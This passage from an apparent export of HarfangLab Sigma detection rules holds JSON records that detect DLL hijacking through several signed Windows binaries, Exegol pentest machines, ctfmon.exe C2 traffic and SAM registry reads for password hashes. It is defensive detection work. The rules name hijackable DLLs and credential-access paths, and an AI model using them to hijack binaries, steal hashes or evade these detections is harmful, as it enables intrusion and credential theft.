+  "content": "title: DLL Hijacking via fxsunatd.exe\nid: 2d20cb47-e527-4738-b5ba-ab12cd7da516\ndescription: |\n    Detects potential Windows DLL Hijacking via fxsunatd.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fxsunatd.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\FXSAPI.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\PROPSYS.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2d20cb47-e527-4738-b5ba-ab12cd7da516",
+  "rule_name": "DLL Hijacking via fxsunatd.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fxsunatd.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2d438226-15c9-4f1f-9818-560efb9ac7de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605179Z",
+  "creation_date": "2026-03-23T11:45:34.605182Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605189Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ThePorgs/Exegol/",
+    "https://exegol.readthedocs.io/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_silent_workstation_name_exegol.yml",
+  "content": "title: Activity linked to Workstation Named Exegol\nid: 2d438226-15c9-4f1f-9818-560efb9ac7de\ndescription: |\n    Detects an activity from a machine whose name is Exegol, a fully configured Linux-based Docker image for penetration testing and red teaming.\n    Attackers may connect external machines to the network to conduct malicious activities.\n    It is recommended to check if the machine is expected in the network and for other malicious activity from the machine's IP address.\nreferences:\n    - https://github.com/ThePorgs/Exegol/\n    - https://exegol.readthedocs.io/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2025/06/04\nmodified: 2025/06/10\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Windows.Source.EventLog\n    - classification.Windows.HackTool.Exegol\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        - Workstation|startswith: 'exegol-'\n        - WorkstationName|startswith: 'exegol-'\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2d438226-15c9-4f1f-9818-560efb9ac7de",
+  "rule_name": "Activity linked to Workstation Named Exegol",
+  "rule_description": "Detects an activity from a machine whose name is Exegol, a fully configured Linux-based Docker image for penetration testing and red teaming.\nAttackers may connect external machines to the network to conduct malicious activities.\nIt is recommended to check if the machine is expected in the network and for other malicious activity from the machine's IP address.\n",
+  "rule_creation_date": "2025-06-04",
+  "rule_modified_date": "2025-06-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2d48e659-e7f3-42cc-ab39-2bb7040a806c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081072Z",
+  "creation_date": "2026-03-23T11:45:34.081075Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081079Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/Cryptolaemus1/status/1759740446857625639",
+    "https://twitter.com/reecdeep/status/1759603556288459149",
+    "https://attack.mitre.org/techniques/T1055/",
+    "https://attack.mitre.org/techniques/T1571/"
+  ],
+  "name": "t1055_ctfmon_suspicious_network_communication.yml",
+  "content": "title: Suspicious ctfmon.exe Network Communication\nid: 2d48e659-e7f3-42cc-ab39-2bb7040a806c\ndescription: |\n    Detects network communications via a non-standard port from the legitimate ctfmon.exe Windows binary.\n    This can indicate malicious activity, such as communication with a C2 server, after an adversary injects malicious code into a suspended and hollowed process to evade process-based defenses.\n    This technique is often used by attackers to establish command-and-control (C2) communication while maintaining persistence and evading detection.\n    It has been observed in attacks such as those involving the Pikabot Malware, which used this method to deploy the Medusa Stealer.\n    It is recommended to investigate the parent process responsible for initiating this communication, analyze the network traffic details, and examine the destination IP address to determine the legitimacy of the activity.\n    Additionally, trying to dump the ctfmon.exe process for analysis can be useful to ensure it is not being abused for malicious purposes.\nreferences:\n    - https://twitter.com/Cryptolaemus1/status/1759740446857625639\n    - https://twitter.com/reecdeep/status/1759603556288459149\n    - https://attack.mitre.org/techniques/T1055/\n    - https://attack.mitre.org/techniques/T1571/\ndate: 2024/02/23\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - attack.command_and_control\n    - attack.t1571\n    - attack.t1071.001\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CTFMON.EXE'\n        ProcessParentCommandLine|contains: '?'\n\n    filter_parent:\n        ProcessParentCommandLine:\n            - '?:\\WINDOWS\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p -s TabletInputService'\n            - '?:\\WINDOWS\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService'\n\n    filter_ip:\n        DestinationIp|cidr:\n            - '0.0.0.0/8'          # RFC 1122, Section 3.2.1.3 \"This\" Network*\n            - '10.0.0.0/8'         # RFC 1918 Private-Use Networks*\n            - '127.0.0.0/8'        # RFC 1122, Section 3.2.1.3 Loopback*\n            - '169.254.0.0/16'     # RFC 3927 Link Local*\n            - '172.16.0.0/12'      # RFC 1918 Private-Use Networks*\n            - '192.0.0.0/24'       # RFC 5736 IETF Protocol Assignments*\n            - '192.0.2.0/24'       # RFC 5737 TEST-NET-1*\n            - '192.88.99.0/24'     # RFC 3068 6to4 Relay Anycast*\n            - '192.168.0.0/16'     # RFC 1918 Private-Use Networks*\n            - '198.18.0.0/15'      # RFC 2544 Network Interconnect Device Benchmark Testing*\n            - '198.51.100.0/24'    # RFC 5737 TEST-NET-2*\n            - '203.0.113.0/24'     # RFC 5737 TEST-NET-3*\n            - '224.0.0.0/4'        # RFC 3171 Multicast*\n            - '240.0.0.0/4'        # RFC 1112, Section 4 Reserved for Future Use*\n            - '255.255.255.255/32' # RFC 919, Section 7 Limited Broadcast*\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2d48e659-e7f3-42cc-ab39-2bb7040a806c",
+  "rule_name": "Suspicious ctfmon.exe Network Communication",
+  "rule_description": "Detects network communications via a non-standard port from the legitimate ctfmon.exe Windows binary.\nThis can indicate malicious activity, such as communication with a C2 server, after an adversary injects malicious code into a suspended and hollowed process to evade process-based defenses.\nThis technique is often used by attackers to establish command-and-control (C2) communication while maintaining persistence and evading detection.\nIt has been observed in attacks such as those involving the Pikabot Malware, which used this method to deploy the Medusa Stealer.\nIt is recommended to investigate the parent process responsible for initiating this communication, analyze the network traffic details, and examine the destination IP address to determine the legitimacy of the activity.\nAdditionally, trying to dump the ctfmon.exe process for analysis can be useful to ensure it is not being abused for malicious purposes.\n",
+  "rule_creation_date": "2024-02-23",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1071.001",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2d774838-fe3c-4704-a1c2-8e1287b6b0ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095725Z",
+  "creation_date": "2026-03-23T11:45:34.095728Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095732Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/matteodalgrande/windows-hash-crack-python37/blob/master/README.md",
+    "https://attack.mitre.org/techniques/T1003/002/"
+  ],
+  "name": "t1003_002_susp_sam_database_accessed.yml",
+  "content": "title: SAM Database Read from Registry via Samdump\nid: 2d774838-fe3c-4704-a1c2-8e1287b6b0ee\ndescription: |\n    Detects a suspicious read operation on registry keys storing Windows account parameters.\n    Adversaries may extract user information stored in SAM database to retrieve user's password hashes.\n    It is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\nreferences:\n    - https://github.com/matteodalgrande/windows-hash-crack-python37/blob/master/README.md\n    - https://attack.mitre.org/techniques/T1003/002/\ndate: 2024/04/02\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.002\n    - attack.discovery\n    - attack.t1012\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'ReadValue'\n        TargetObject:\n            - 'HKLM\\SAM\\SAM\\Domains\\Account\\Users\\\\*\\F'\n            - 'HKLM\\SAM\\SAM\\Domains\\Account\\Users\\\\*\\V'\n        Image|contains: '?'\n\n    filter_lsass:\n        - Image:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\lsass.exe'\n            - '\\Device\\HarddiskVolume*\\Windows\\System32\\lsass.exe'\n        - ProcessImage:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\lsass.exe'\n            - '\\Device\\HarddiskVolume*\\Windows\\System32\\lsass.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_remote_registry:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k localService -p -s RemoteRegistry'\n            - '?:\\Windows\\system32\\svchost.exe -k LocalService'\n            - '?:\\Windows\\system32\\svchost.exe -k regsvc'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2d774838-fe3c-4704-a1c2-8e1287b6b0ee",
+  "rule_name": "SAM Database Read from Registry via Samdump",
+  "rule_description": "Detects a suspicious read operation on registry keys storing Windows account parameters.\nAdversaries may extract user information stored in SAM database to retrieve user's password hashes.\nIt is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002",
+    "attack.t1012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2d93119f-c45c-4f21-b353-cd28185a6bcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093883Z",
+  "creation_date": "2026-03-23T11:45:34.093885Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093889Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_quser.yml",
+  "content": "title: DLL Hijacking via quser.exe\nid: 2d93119f-c45c-4f21-b353-cd28185a6bcb\ndescription: |\n    Detects potential Windows DLL Hijacking via quser.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'quser.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\UTILDLL.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2d93119f-c45c-4f21-b353-cd28185a6bcb",
+  "rule_name": "DLL Hijacking via quser.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via quser.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2da166af-7d44-4ca3-a8d3-3210b643d807",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618655Z",
+  "creation_date": "2026-03-23T11:45:34.618657Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618662Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vmwarexferlogs.yml",
+  "content": "title: DLL Hijacking via VMwareXferlogs.exe\nid: 2da166af-7d44-4ca3-a8d3-3210b643d807\ndescription: |\n    Detects potential Windows DLL Hijacking via VMwareXferlogs.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying the legitimate VMwareXferlogs executable to another location and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/08/02\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'xferlogs.exe'\n        ProcessSignature: 'VMWare, Inc.'\n        ImageLoaded|endswith: '\\glib-2.0.dll'\n\n    filter_legitimate_image:\n        Image|startswith: '?:\\Program Files\\VMware\\VMware Tools\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith: '?:\\Program Files\\VMware\\VMware Tools\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'VMware, Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2da166af-7d44-4ca3-a8d3-3210b643d807",
+  "rule_name": "DLL Hijacking via VMwareXferlogs.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via VMwareXferlogs.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying the legitimate VMwareXferlogs executable to another location and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-08-02",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2da5035b-dc02-4700-8b81-859d0243e461",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594519Z",
+  "creation_date": "2026-03-23T11:45:34.594522Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594529Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dmcfghost.yml",
+  "content": "title: DLL Hijacking via dmcfghost.exe\nid: 2da5035b-dc02-4700-8b81-859d0243e461\ndescription: |\n    Detects potential Windows DLL Hijacking via dmcfghost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dmcfghost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DMCmnUtils.dll'\n            - '\\DMPushProxy.dll'\n            - '\\dmxmlhelputils.dll'\n            - '\\dsclient.dll'\n            - '\\iri.dll'\n            - '\\omadmapi.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2da5035b-dc02-4700-8b81-859d0243e461",
+  "rule_name": "DLL Hijacking via dmcfghost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dmcfghost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2dd18b86-68a7-4c00-9cd0-36f3ad10d60e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
